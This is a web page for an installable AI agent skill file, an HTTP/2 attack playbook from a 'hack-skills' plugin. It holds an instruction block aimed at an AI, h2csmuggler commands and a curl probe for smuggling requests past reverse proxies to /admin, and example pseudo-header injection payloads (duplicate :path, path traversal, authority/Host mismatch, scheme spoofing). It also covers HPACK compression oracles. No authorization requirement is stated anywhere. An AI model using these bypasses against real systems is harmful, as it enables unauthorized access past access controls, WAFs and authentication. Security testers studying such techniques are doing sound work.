Skip to content
Security
Skill

/http2-specific-attacks

HTTP/2 protocol-specific attack playbook. Use when the target supports HTTP/2 and you need to exploit binary framing, HPACK compression, h2c upgrade smuggling, pseudo-header injection, stream multiplexing abuse, or H2→H1 downgrade translation flaws.

From plugin
hack-skills
2.6k103 skills

Claude Code

$ npx -y skills add yaklang/hack-skills --skill http2-specific-attacks --agent claude-code

SKILL.md

http2-specific-attacks.SKILL.md
name: http2-specific-attacks
description: >-
  HTTP/2 protocol-specific attack playbook. Use when the target supports HTTP/2 and you need to exploit binary framing, HPACK compression, h2c upgrade smuggling, pseudo-header injection, stream multiplexing abuse, or H2→H1 downgrade translation flaws.

SKILL: HTTP/2 Specific Attacks — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: HTTP/2 protocol-level attack techniques beyond basic request smuggling. Covers h2c smuggling, pseudo-header manipulation, HPACK attacks, single-packet race conditions, and H2→H1 downgrade injection. Base models conflate HTTP/2 smuggling with HTTP/1.1 smuggling — this skill focuses on H2-unique attack surface.

0. RELATED ROUTING

  • [request-smuggling](../request-smuggling/SKILL.md) — CL.TE/TE.CL/TE.TE fundamentals and H2.CL/H2.TE variants
  • [request-smuggling/H2_SMUGGLING_VARIANTS.md](../request-smuggling/H2_SMUGGLING_VARIANTS.md) — byte-level H2.CL/H2.TE payloads, CL.0, client-side desync
  • [race-condition](../race-condition/SKILL.md) — single-packet attack leverages H2 multiplexing for race conditions
  • [web-cache-deception](../web-cache-deception/SKILL.md) — cache poisoning via H2 smuggled responses

---

1. HTTP/2 ATTACK SURFACE OVERVIEW

| Feature | Attack Surface | |---|---| | Binary framing | Frame-level manipulation, parser differentials | | HPACK compression | Compression oracles (CRIME/BREACH), table poisoning | | Multiplexing | Single-packet race conditions, RST_STREAM flood | | Server push | Cache poisoning via unsolicited push | | Pseudo-headers (`:method`/`:path`/`:authority`/`:scheme`) | Injection, request splitting, path discrepancy |

---

2. h2c (HTTP/2 CLEARTEXT) SMUGGLING

2.1 Concept

h2c is HTTP/2 without TLS, negotiated via the HTTP/1.1 `Upgrade` mechanism. Many reverse proxies forward the `Upgrade: h2c` header without understanding it, allowing attackers to bypass proxy-level access controls.

Client ──[Upgrade: h2c]──> Reverse Proxy ──[forwards blindly]──> Backend
                                                                    │
                                                            Backend speaks H2
                                                            Proxy is blind to
                                                            the H2 conversation

2.2 Attack Flow

1. Client sends HTTP/1.1 request with:
   GET / HTTP/1.1
   Host: target.com
   Upgrade: h2c
   HTTP2-Settings: <base64 H2 settings>
   Connection: Upgrade, HTTP2-Settings

2. Proxy forwards request (doesn't understand h2c)
3. Backend responds: HTTP/1.1 101 Switching Protocols
4. Connection is now HTTP/2 between client and backend
5. Proxy is now a TCP tunnel — cannot inspect/filter H2 frames
6. Client sends H2 requests directly to backend, bypassing proxy rules

2.3 What You Can Bypass

✓ Path-based access controls (/admin blocked at proxy → accessible via h2c)
✓ WAF rules (proxy-side WAF can't inspect H2 binary frames)
✓ Rate limiting (proxy-level rate limits bypassed)
✓ Authentication (proxy-enforced auth headers)
✓ IP restrictions (proxy validates source IP, but h2c tunnel bypasses)

2.4 Tool: h2csmuggler

# Install
git clone https://github.com/BishopFox/h2csmuggler
cd h2csmuggler
pip3 install h2

# Basic smuggle — access /admin bypassing proxy restrictions
python3 h2csmuggler.py -x https://target.com/ --test

# Smuggle specific path
python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin/users

# With custom headers
python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin \
    -H "Authorization: Bearer token123"

2.5 Detection

# Check if backend supports h2c upgrade
curl -v --http1.1 https://target.com/ \
    -H "Upgrade: h2c" \
    -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA" \
    -H "Connection: Upgrade, HTTP2-Settings"

# 101 Switching Protocols → h2c supported
# 200/400/other → h2c not supported or proxy blocks upgrade

---

3. PSEUDO-HEADER INJECTION

3.1 HTTP/2 Pseudo-Headers

HTTP/2 replaces the request line with pseudo-headers (prefixed with `:`):

| Pseudo-Header | HTTP/1.1 Equivalent | Example | |---|---|---| | `:method` | Request method | `GET`, `POST` | | `:path` | Request URI | `/api/users` | | `:authority` | Host header | `target.com` | | `:scheme` | Protocol | `https` |

3.2 Path Discrepancy Between Proxy and Backend

Scenario: Proxy routes based on :path, backend uses different parsing

H2 request:
  :method: GET
  :path: /public/../admin/users
  :authority: target.com

Proxy sees: /public/../admin/users → matches /public/* rule → ALLOWED
Backend normalizes: /admin/users → serves admin content

3.3 Duplicate Pseudo-Header Injection

HTTP/2 spec forbids duplicate pseudo-headers, but implementation varies:

:method: GET
:path: /public
:path: /admin       ← duplicate, forbidden by spec
:authority: target.com

Proxy may use first :path (/public) for routing
Backend may use last :path (/admin) for serving

3.4 Authority vs Host Disagreement

:authority: public.target.com    ← proxy routes based on this
host: admin.internal.target.com  ← backend may prefer Host header

Result: proxy routes to public vhost, backend serves admin vhost

3.5 Scheme Manipulation

:scheme: https
:path: /api/internal
:authority: target.com

If backend trusts :scheme to determine if request is "internal":
  :scheme: https → "external" → restricted
  :scheme: http  → "internal" → unrestricted access

---

4. HPACK COMPRESSION ATTACKS

4.1 CRIME/BREACH on HTTP/2

Principle: HPACK compresses headers. If attacker controls part of a header and a secret
exists in the same compression context, matching guesses → smaller frames → oracle.

Limitation: HPACK uses static+dynamic table (not raw DEFLATE), per-connection table,
requires many requests on same connection. Harder than original CRIME.

4.2 Header Table Poisoning

HPACK dynamic table stores rec
Read more
@yaklang
Ships withhack-skills

Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.

2.6k103 skills
Get the whole plugin

Stars on GitHub

Momentum

stars in total
2.6k
Star history of yaklang/hack-skills on GitHub, a chart by star-history.com

Other skills on hack-skills.

ai-ml-security

ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples,…

@yaklang@yaklangInstall Skill

More skills from other plugins.

api-security

api-security

Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…

@zhaoxuya520@zhaoxuya520Install Skill
nemoclaw-user-guide

nemoclaw-user-guide

Find official NemoClaw documentation for installation, configuration, operation, or troubleshooting. Also handles requested docs…

nemoclaw11d23k
@nvidia@nvidiaInstall Skill

Questions about http2-specific-attacks.

Which coding agents can use http2-specific-attacks?
http2-specific-attacks installs in Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot, OpenCode and Windsurf with the skills CLI, using each agent's flag shown on this page. Flowy's auto-invocation, which fires a skill when your prompt matches, runs in Claude Code only.